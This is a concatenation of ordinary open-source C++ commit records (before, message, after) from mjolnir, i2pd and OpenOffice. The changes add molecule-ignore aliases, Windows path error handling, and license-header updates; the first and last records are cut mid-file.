IgnoreMolecule(std::unique_ptr<IgnoreSomething>&& ptr)\n : ignore_mol_(std::move(ptr))\n {}\n ~IgnoreMolecule() = default;\n\n IgnoreMolecule(IgnoreMolecule const& rhs) {this->reset(rhs.name());}\n IgnoreMolecule(IgnoreMolecule&& rhs) = default;\n IgnoreMolecule& operator=(IgnoreMolecule const& rhs) {this->reset(rhs.name()); return *this;}\n IgnoreMolecule& operator=(IgnoreMolecule&& rhs) = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept\n {\n return ignore_mol_->is_ignored(i, j);\n }\n const char* name() const noexcept {return ignore_mol_->name();}\n\n void reset(const std::string& name)\n {\n if(name == \"Nothing\")\n {\n ignore_mol_.reset(new IgnoreNothing<MoleculeID>);\n }\n else if(name == \"Self\")\n {\n ignore_mol_.reset(new IgnoreSelf<MoleculeID>);\n }\n else if(name == \"Others\")\n {\n ignore_mol_.reset(new IgnoreOthers<MoleculeID>);\n }\n else\n {\n throw_exception<std::invalid_argument>(\"IgnoreMolecule::IgnoreMolecule: \",\n \"unknown signeture appreaed: `\" + name +\n \"`. Only `Nothing`, `Self`, or `Others` are allowed.\");\n }\n }\n\n private:\n\n std::unique_ptr<IgnoreMoleculeBase<MoleculeID>> ignore_mol_;\n};\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_IGNORE_MOLECULE_HPP\n<commit_msg>feat: enable to use \"Intra\" and \"Inter\"<commit_after>#ifndef MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP\n#define MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP\n#include <mjolnir\/util\/throw_exception.hpp>\n#include <string>\n#include <memory>\n\n\/\/ In some case, we need to ignore intra- or inter-molecule interaction.\n\/\/ For example, consider you have an elastic network model and charges on it\n\/\/ that are tuned to reproduce the electrostatic potentials around the native\n\/\/ structure. In that case, the electrostatic interaction should not be applied\n\/\/ for the intra-molecule pairs to avoid double-counting because the elastic\n\/\/ network potential is modeled as a sum of all the intra-molecule interactions.\n\/\/ IgnoreMolecule provides you a way to specify the rule to determine ignored\n\/\/ pairs of particles. If you specify IgnoreSelf, all the intra-molecule\n\/\/ interactions would be ignored. IgnoreOthers ignores inter-molecule interactions.\n\/\/ Clearly, IgnoreNothing ignores nothing.\n\nnamespace mjolnir\n{\n\ntemplate<typename MoleculeID>\nstruct IgnoreMoleculeBase\n{\n IgnoreMoleculeBase() = default;\n virtual ~IgnoreMoleculeBase() = default;\n\n virtual bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept = 0;\n virtual const char* name() const noexcept = 0;\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreNothing: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreNothing() = default;\n ~IgnoreNothing() override = default;\n\n bool is_ignored(const MoleculeID&, const MoleculeID&) const noexcept override\n {\n return false;\n }\n const char* name() const noexcept override {return \"Nothing\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreSelf: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreSelf() = default;\n ~IgnoreSelf() override = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override\n {\n return i == j;\n }\n const char* name() const noexcept override {return \"Self\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreOthers: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreOthers() = default;\n ~IgnoreOthers() override = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override\n {\n return i != j;\n }\n const char* name() const noexcept override {return \"Others\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreMolecule\n{\n explicit IgnoreMolecule(const std::string& name): ignore_mol_(nullptr)\n {\n this->reset(name);\n }\n\n template<typename IgnoreSomething>\n explicit IgnoreMolecule(std::unique_ptr<IgnoreSomething>&& ptr)\n : ignore_mol_(std::move(ptr))\n {}\n ~IgnoreMolecule() = default;\n\n IgnoreMolecule(IgnoreMolecule const& rhs) {this->reset(rhs.name());}\n IgnoreMolecule(IgnoreMolecule&& rhs) = default;\n IgnoreMolecule& operator=(IgnoreMolecule const& rhs) {this->reset(rhs.name()); return *this;}\n IgnoreMolecule& operator=(IgnoreMolecule&& rhs) = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept\n {\n return ignore_mol_->is_ignored(i, j);\n }\n const char* name() const noexcept {return ignore_mol_->name();}\n\n void reset(const std::string& name)\n {\n if(name == \"Nothing\")\n {\n ignore_mol_.reset(new IgnoreNothing<MoleculeID>);\n }\n else if(name == \"Self\" || name == \"Intra\")\n {\n ignore_mol_.reset(new IgnoreSelf<MoleculeID>);\n }\n else if(name == \"Others\" || name == \"Inter\")\n {\n ignore_mol_.reset(new IgnoreOthers<MoleculeID>);\n }\n else\n {\n throw_exception<std::invalid_argument>(\"IgnoreMolecule::IgnoreMolecule: \",\n \"unknown signeture appreaed: `\" + name +\n \"`. Only `Nothing`, `Self`, or `Others` are allowed.\");\n }\n }\n\n private:\n\n std::unique_ptr<IgnoreMoleculeBase<MoleculeID>> ignore_mol_;\n};\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_IGNORE_MOLECULE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright (c) 2013-2016, The PurpleI2P Project\n*\n* This file is part of Purple i2pd project and licensed under BSD3\n*\n* See full license text in LICENSE file at top of project tree\n*\/\n\n#include <algorithm>\n#include <boost\/filesystem.hpp>\n\n#ifdef _WIN32\n#include <shlobj.h>\n#endif\n\n#include \"Base.h\"\n#include \"FS.h\"\n#include \"Log.h\"\n#include \"Garlic.h\"\n\nnamespace i2p {\nnamespace fs {\n std::string appName = \"i2pd\";\n std::string dataDir = \"\";\n#ifdef _WIN32\n std::string dirSep = \"\\\\\";\n#else\n std::string dirSep = \"\/\";\n#endif\n\n const std::string & GetAppName () {\n return appName;\n }\n\n void SetAppName (const std::string& name) {\n appName = name;\n }\n\n const std::string & GetDataDir () {\n return dataDir;\n }\n\n void DetectDataDir(const std::string & cmdline_param, bool isService) {\n if (cmdline_param != \"\") {\n dataDir = cmdline_param;\n return;\n }\n#if defined(WIN32) || defined(_WIN32)\n char localAppData[MAX_PATH];\n \/\/ check executable directory first\n GetModuleFileName (NULL, localAppData, MAX_PATH);\n auto execPath = boost::filesystem::path(localAppData).parent_path();\n \/\/ if config file exists in .exe's folder use it\n if(boost::filesystem::exists(execPath\/\"i2pd.conf\")) \/\/ TODO: magic string\n dataDir = execPath.string ();\n else\n {\n \/\/ otherwise %appdata%\n SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, localAppData);\n dataDir = std::string(localAppData) + \"\\\\\" + appName;\n }\n return;\n#elif defined(MAC_OSX)\n char *home = getenv(\"HOME\");\n dataDir = (home != NULL && strlen(home) > 0) ? home : \"\";\n dataDir += \"\/Library\/Application Support\/\" + appName;\n return;\n#else \/* other unix *\/\n#if defined(ANDROID)\n\tconst char * ext = getenv(\"EXTERNAL_STORAGE\");\n\tif (!ext) ext = \"\/sdcard\";\n\tif (boost::filesystem::exists(ext))\n\t{\n\t\tdataDir = std::string (ext) + \"\/\" + appName;\n\t\treturn;\n\t}\n\t\/\/ otherwise use \/data\/files\n#endif\n char *home = getenv(\"HOME\");\n if (isService) {\n dataDir = \"\/var\/lib\/\" + appName;\n } else if (home != NULL && strlen(home) > 0) {\n dataDir = std::string(home) + \"\/.\" + appName;\n } else {\n dataDir = \"\/tmp\/\" + appName;\n }\n return;\n#endif\n }\n\n bool Init() {\n if (!boost::filesystem::exists(dataDir))\n boost::filesystem::create_directory(dataDir);\n std::string destinations = DataDirPath(\"destinations\");\n if (!boost::filesystem::exists(destinations))\n boost::filesystem::create_directory(destinations);\n\tstd::string tags = DataDirPath(\"tags\");\n if (!boost::filesystem::exists(tags))\n\tboost::filesystem::create_directory(tags);\n\telse\n\t\ti2p::garlic::CleanUpTagsFiles ();\n\n return true;\n }\n\n bool ReadDir(const std::string & path, std::vector<std::string> & files) {\n if (!boost::filesystem::exists(path))\n return false;\n boost::filesystem::directory_iterator it(path);\n boost::filesystem::directory_iterator end;\n\n for ( ; it != end; it++) {\n if (!boost::filesystem::is_regular_file(it->status()))\n continue;\n files.push_back(it->path().string());\n }\n\n return true;\n }\n\n bool Exists(const std::string & path) {\n return boost::filesystem::exists(path);\n }\n\n uint32_t GetLastUpdateTime (const std::string & path)\n {\n\t if (!boost::filesystem::exists(path)) return 0;\n\t boost::system::error_code ec;\n\t auto t = boost::filesystem::last_write_time (path, ec);\n\t return ec ? 0 : t;\n }\n\n bool Remove(const std::string & path) {\n if (!boost::filesystem::exists(path))\n return false;\n return boost::filesystem::remove(path);\n }\n\n\tbool CreateDirectory (const std::string& path)\n\t{\n\t\tif (boost::filesystem::exists(path) &&\n\t\t\tboost::filesystem::is_directory (boost::filesystem::status (path))) return true;\n\t\treturn boost::filesystem::create_directory(path);\n\t}\n\n void HashedStorage::SetPlace(const std::string &path) {\n root = path + i2p::fs::dirSep + name;\n }\n\n bool HashedStorage::Init(const char * chars, size_t count) {\n if (!boost::filesystem::exists(root)) {\n boost::filesystem::create_directories(root);\n }\n\n for (size_t i = 0; i < count; i++) {\n auto p = root + i2p::fs::dirSep + prefix1 + chars[i];\n if (boost::filesystem::exists(p))\n continue;\n if (boost::filesystem::create_directory(p))\n continue; \/* ^ throws exception on failure *\/\n return false;\n }\n return true;\n }\n\n std::string HashedStorage::Path(const std::string & ident) const {\n std::string safe_ident = ident;\n std::replace(safe_ident.begin(), safe_ident.end(), '\/', '-');\n std::replace(safe_ident.begin(), safe_ident.end(), '\\\\', '-');\n\n std::stringstream t(\"\");\n t << this->root << i2p::fs::dirSep;\n t << prefix1 << safe_ident[0] << i2p::fs::dirSep;\n t << prefix2 << safe_ident << \".\" << suffix;\n\n return t.str();\n }\n\n void HashedStorage::Remove(const std::string & ident) {\n std::string path = Path(ident);\n if (!boost::filesystem::exists(path))\n return;\n boost::filesystem::remove(path);\n }\n\n void HashedStorage::Traverse(std::vector<std::string> & files) {\n Iterate([&files] (const std::string & fname) {\n files.push_back(fname);\n });\n }\n\n void HashedStorage::Iterate(FilenameVisitor v)\n {\n boost::filesystem::path p(root);\n boost::filesystem::recursive_directory_iterator it(p);\n boost::filesystem::recursive_directory_iterator end;\n\n for ( ; it != end; it++) {\n if (!boost::filesystem::is_regular_file( it->status() ))\n continue;\n const std::string & t = it->path().string();\n v(t);\n }\n }\n} \/\/ fs\n} \/\/ i2p\n<commit_msg>[windows] handle unexpected conditions (#1185)<commit_after>\/*\n* Copyright (c) 2013-2016, The PurpleI2P Project\n*\n* This file is part of Purple i2pd project and licensed under BSD3\n*\n* See full license text in LICENSE file at top of project tree\n*\/\n\n#include <algorithm>\n#include <boost\/filesystem.hpp>\n\n#ifdef _WIN32\n#include <shlobj.h>\n#include <windows.h>\n#endif\n\n#include \"Base.h\"\n#include \"FS.h\"\n#include \"Log.h\"\n#include \"Garlic.h\"\n\nnamespace i2p {\nnamespace fs {\n\tstd::string appName = \"i2pd\";\n\tstd::string dataDir = \"\";\n#ifdef _WIN32\n\tstd::string dirSep = \"\\\\\";\n#else\n\tstd::string dirSep = \"\/\";\n#endif\n\n\tconst std::string & GetAppName () {\n\t\treturn appName;\n\t}\n\n\tvoid SetAppName (const std::string& name) {\n\t\tappName = name;\n\t}\n\n\tconst std::string & GetDataDir () {\n\t\treturn dataDir;\n\t}\n\n\tvoid DetectDataDir(const std::string & cmdline_param, bool isService) {\n\t\tif (cmdline_param != \"\") {\n\t\t\tdataDir = cmdline_param;\n\t\t\treturn;\n\t\t}\n#if defined(WIN32) || defined(_WIN32)\n\t\tchar localAppData[MAX_PATH];\n\n\t\t\/\/ check executable directory first\n\t\tif(!GetModuleFileName(NULL, localAppData, MAX_PATH))\n\t\t{\n#if defined(WIN32_APP)\n\t\t\tMessageBox(NULL, TEXT(\"Unable to get application path!\"), TEXT(\"I2Pd: error\"), MB_ICONERROR | MB_OK);\n#else\n\t\t\tfprintf(stderr, \"Error: Unable to get application path!\");\n#endif\n\t\t\texit(1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tauto execPath = boost::filesystem::path(localAppData).parent_path();\n\n\t\t\t\/\/ if config file exists in .exe's folder use it\n\t\t\tif(boost::filesystem::exists(execPath\/\"i2pd.conf\")) \/\/ TODO: magic string\n\t\t\t\tdataDir = execPath.string ();\n\t\t\telse \/\/ otherwise %appdata%\n\t\t\t{\n\t\t\t\tif(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, localAppData) != S_OK)\n\t\t\t\t{\n#if defined(WIN32_APP)\n\t\t\t\t\tMessageBox(NULL, TEXT(\"Unable to get AppData path!\"), TEXT(\"I2Pd: error\"), MB_ICONERROR | MB_OK);\n#else\n\t\t\t\t\tfprintf(stderr, \"Error: Unable to get AppData path!\");\n#endif\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tdataDir = std::string(localAppData) + \"\\\\\" + appName;\n\t\t\t}\n\t\t}\n\t\treturn;\n#elif defined(MAC_OSX)\n\t\tchar *home = getenv(\"HOME\");\n\t\tdataDir = (home != NULL && strlen(home) > 0) ? home : \"\";\n\t\tdataDir += \"\/Library\/Application Support\/\" + appName;\n\t\treturn;\n#else \/* other unix *\/\n#if defined(ANDROID)\n\t\tconst char * ext = getenv(\"EXTERNAL_STORAGE\");\n\t\tif (!ext) ext = \"\/sdcard\";\n\t\tif (boost::filesystem::exists(ext))\n\t\t{\n\t\t\tdataDir = std::string (ext) + \"\/\" + appName;\n\t\t\treturn;\n\t\t}\n#endif\n\t\t\/\/ otherwise use \/data\/files\n\t\tchar *home = getenv(\"HOME\");\n\t\tif (isService) {\n\t\t\tdataDir = \"\/var\/lib\/\" + appName;\n\t\t} else if (home != NULL && strlen(home) > 0) {\n\t\t\tdataDir = std::string(home) + \"\/.\" + appName;\n\t\t} else {\n\t\t\tdataDir = \"\/tmp\/\" + appName;\n\t\t}\n\t\treturn;\n#endif\n\t}\n\n\tbool Init() {\n\t\tif (!boost::filesystem::exists(dataDir))\n\t\t\tboost::filesystem::create_directory(dataDir);\n\n\t\tstd::string destinations = DataDirPath(\"destinations\");\n\t\tif (!boost::filesystem::exists(destinations))\n\t\t\tboost::filesystem::create_directory(destinations);\n\n\t\tstd::string tags = DataDirPath(\"tags\");\n\t\tif (!boost::filesystem::exists(tags))\n\t\t\tboost::filesystem::create_directory(tags);\n\t\telse\n\t\t\ti2p::garlic::CleanUpTagsFiles ();\n\n\t\treturn true;\n\t}\n\n\tbool ReadDir(const std::string & path, std::vector<std::string> & files) {\n\t\tif (!boost::filesystem::exists(path))\n\t\t\treturn false;\n\t\tboost::filesystem::directory_iterator it(path);\n\t\tboost::filesystem::directory_iterator end;\n\n\t\tfor ( ; it != end; it++) {\n\t\t\tif (!boost::filesystem::is_regular_file(it->status()))\n\t\t\t\tcontinue;\n\t\t\tfiles.push_back(it->path().string());\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tbool Exists(const std::string & path) {\n\t\treturn boost::filesystem::exists(path);\n\t}\n\n\tuint32_t GetLastUpdateTime (const std::string & path)\n\t{\n\t\tif (!boost::filesystem::exists(path))\n\t\t\treturn 0;\n\t\tboost::system::error_code ec;\n\t\tauto t = boost::filesystem::last_write_time (path, ec);\n\t\treturn ec ? 0 : t;\n\t}\n\n\tbool Remove(const std::string & path) {\n\t\tif (!boost::filesystem::exists(path))\n\t\t\treturn false;\n\t\treturn boost::filesystem::remove(path);\n\t}\n\n\tbool CreateDirectory (const std::string& path)\n\t{\n\t\tif (boost::filesystem::exists(path) && boost::filesystem::is_directory (boost::filesystem::status (path)))\n\t\t\treturn true;\n\t\treturn boost::filesystem::create_directory(path);\n\t}\n\n\tvoid HashedStorage::SetPlace(const std::string &path) {\n\t\troot = path + i2p::fs::dirSep + name;\n\t}\n\n\tbool HashedStorage::Init(const char * chars, size_t count) {\n\t\tif (!boost::filesystem::exists(root)) {\n\t\t\tboost::filesystem::create_directories(root);\n\t\t}\n\n\t\tfor (size_t i = 0; i < count; i++) {\n\t\t\tauto p = root + i2p::fs::dirSep + prefix1 + chars[i];\n\t\t\tif (boost::filesystem::exists(p))\n\t\t\t\tcontinue;\n\t\t\tif (boost::filesystem::create_directory(p))\n\t\t\t\tcontinue; \/* ^ throws exception on failure *\/\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstd::string HashedStorage::Path(const std::string & ident) const {\n\t\tstd::string safe_ident = ident;\n\t\tstd::replace(safe_ident.begin(), safe_ident.end(), '\/',\t'-');\n\t\tstd::replace(safe_ident.begin(), safe_ident.end(), '\\\\', '-');\n\n\t\tstd::stringstream t(\"\");\n\t\tt << this->root << i2p::fs::dirSep;\n\t\tt << prefix1 << safe_ident[0] << i2p::fs::dirSep;\n\t\tt << prefix2 << safe_ident << \".\" << suffix;\n\n\t\treturn t.str();\n\t}\n\n\tvoid HashedStorage::Remove(const std::string & ident) {\n\t\tstd::string path = Path(ident);\n\t\tif (!boost::filesystem::exists(path))\n\t\t\treturn;\n\t\tboost::filesystem::remove(path);\n\t}\n\n\tvoid HashedStorage::Traverse(std::vector<std::string> & files) {\n\t\tIterate([&files] (const std::string & fname) {\n\t\t\tfiles.push_back(fname);\n\t\t});\n\t}\n\n\tvoid HashedStorage::Iterate(FilenameVisitor v)\n\t{\n\t\tboost::filesystem::path p(root);\n\t\tboost::filesystem::recursive_directory_iterator it(p);\n\t\tboost::filesystem::recursive_directory_iterator end;\n\n\t\tfor ( ; it != end; it++) {\n\t\t\tif (!boost::filesystem::is_regular_file( it->status() ))\n\t\t\t\tcontinue;\n\t\t\tconst std::string & t = it->path().string();\n\t\t\tv(t);\n\t\t}\n\t}\n} \/\/ fs\n} \/\/ i2p\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: undomanager.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2008-03-12 11:30:20 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n\n#ifndef _SD_UNDOMANAGER_HXX\n#include \"undo\/undomanager.hxx\"\n#endif\n\nusing namespace sd;\n\nUndoManager::UndoManager( USHORT nMaxUndoActionCount \/* = 20 *\/ )\n: SfxUndoManager( nMaxUndoActionCount )\n, mnListLevel( 0 )\n{\n}\n\nvoid UndoManager::EnterListAction(const UniString &rComment, const UniString& rRepeatComment, USHORT nId \/* =0 *\/)\n{\n if( !isInUndo() )\n {\n mnListLevel++;\n SfxUndoManager::EnterListAction( rComment, rRepeatComment, nId );\n }\n}\n\nvoid UndoManager::LeaveListAction()\n{\n if( !isInUndo() )\n {\n SfxUndoManager::LeaveListAction();\n if( mnListLevel )\n {\n mnListLevel--;\n }\n else\n {\n DBG_ERROR(\"sd::UndoManager::LeaveListAction(), no open list action!\" );\n }\n }\n}\n\nvoid UndoManager::AddUndoAction( SfxUndoAction *pAction, BOOL bTryMerg \/* = FALSE *\/ )\n{\n if( !isInUndo() )\n {\n SfxUndoManager::AddUndoAction( pAction, bTryMerg );\n }\n else\n {\n delete pAction;\n }\n}\n\n\nBOOL UndoManager::Undo( USHORT nCount )\n{\n ScopeLockGuard aGuard( maIsInUndoLock );\n return SfxUndoManager::Undo( nCount );\n}\n\nBOOL UndoManager::Redo( USHORT nCount )\n{\n ScopeLockGuard aGuard( maIsInUndoLock );\n return SfxUndoManager::Redo( nCount );\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.16); FILE MERGED 2008\/04\/01 15:33:55 thb 1.4.16.3: #i85898# Stripping all external header guards 2008\/04\/01 12:38:28 thb 1.4.16.2: #i85898# Stripping all external header guards 2008\/03\/31 13:56:47 rt 1.4.16.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: undomanager.cxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n#include <tools\/debug.hxx>\n#include \"undo\/undomanager.hxx\"\n\nusing namespace sd;\n\nUndoManager::UndoManager( USHORT nMaxUndoActionCount \/* = 20 *\/ )\n: SfxUndoManager( nMaxUndoActionCount )\n, mnListLevel( 0 )\n{\n}\n\nvoid UndoManager::EnterListAction(const UniString &rComment, const UniString& rRepeatComment, USHORT nId \/* =0 *\/)\n{\n if( !isInUndo() )\n {\n mnListLevel++;\n SfxUndoManager::EnterListAction( rComment, rRepeatComment, nId );\n }\n}\n\nvoid UndoManager::LeaveListAction()\n{\n if( !isInUndo() )\n {\n SfxUndoManager::LeaveListAction();\n if( mnListLevel )\n {\n mnListLevel--;\n }\n else\n {\n DBG_ERROR(\"sd::UndoManager::LeaveListAction(), no open list action!\" );\n }\n }\n}\n\nvoid UndoManager::AddUndoAction( SfxUndoAction *pAction, BOOL bTryMerg \/* = FALSE *\/ )\n{\n if( !isInUndo() )\n {\n SfxUndoManager::AddUndoAction( pAction, bTryMerg );\n }\n else\n {\n delete pAction;\n }\n}\n\n\nBOOL UndoManager::Undo( USHORT nCount )\n{\n ScopeLockGuard aGuard( maIsInUndoLock );\n return SfxUndoManager::Undo( nCount );\n}\n\nBOOL UndoManager::Redo( USHORT nCount )\n{\n ScopeLockGuard aGuard( maIsInUndoLock );\n return SfxUndoManager::Redo( nCount );\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: SdUnoSlideView.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: obo $ $Date: 2004-06-03 11:54:39 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_UNO_SLIDE_VIEW_HXX\n#define SD_UNO_SLIDE_VIEW_HXX\n\n#ifndef SD_DRAW_CONTROLLER_HXX\n#include \"DrawController.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_\n#include <com\/sun\/star\/drawing\/XDrawView.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_\n#include <com\/sun\/star\/view\/XSelectionSupplier.hpp>\n#endif\n\n#ifndef _SFX_SFXBASECONTROLLER_HXX_\n#include <sfx2\/sfxbasecontroller.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPSHLP_HXX\n#include <cppuhelper\/propshlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPTYPEHLP_HXX\n#include <cppuhelper\/proptypehlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#ifndef _SVX_UNOSHAPE_HXX\n#include <svx\/unoshape.hxx>\n#endif\n\n\nnamespace sd {\n\nclass ViewShellBase;\nclass SlideViewShell;\nclass View;\n\n\n\/**\n * This class implements the view component for a SdOutlineViewShell\n *\/\nclass SdUnoSlideView\n : public DrawController\n{\npublic:\n SdUnoSlideView (\n ViewShellBase& rBase,\n ViewShell& rViewShell,\n View& rView) throw();\n virtual ~SdUnoSlideView() throw();\n\n \/\/ XTypeProvider\n virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId( ) throw(::com::sun::star::uno::RuntimeException);\n\n \/\/ XServiceInfo\n virtual ::rtl::OUString SAL_CALL getImplementationName()\n throw(::com::sun::star::uno::RuntimeException);\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<commit_msg>INTEGRATION: CWS impress2 (1.5.26); FILE MERGED 2004\/06\/18 00:18:42 af 1.5.26.2: RESYNC: (1.5-1.6); FILE MERGED 2004\/02\/19 10:48:44 af 1.5.26.1: #i22705# Added private data members mbDisposing and maLastVisArea.<commit_after>\/*************************************************************************\n *\n * $RCSfile: SdUnoSlideView.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2004-07-13 14:00:27 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_UNO_SLIDE_VIEW_HXX\n#define SD_UNO_SLIDE_VIEW_HXX\n\n#ifndef SD_DRAW_CONTROLLER_HXX\n#include 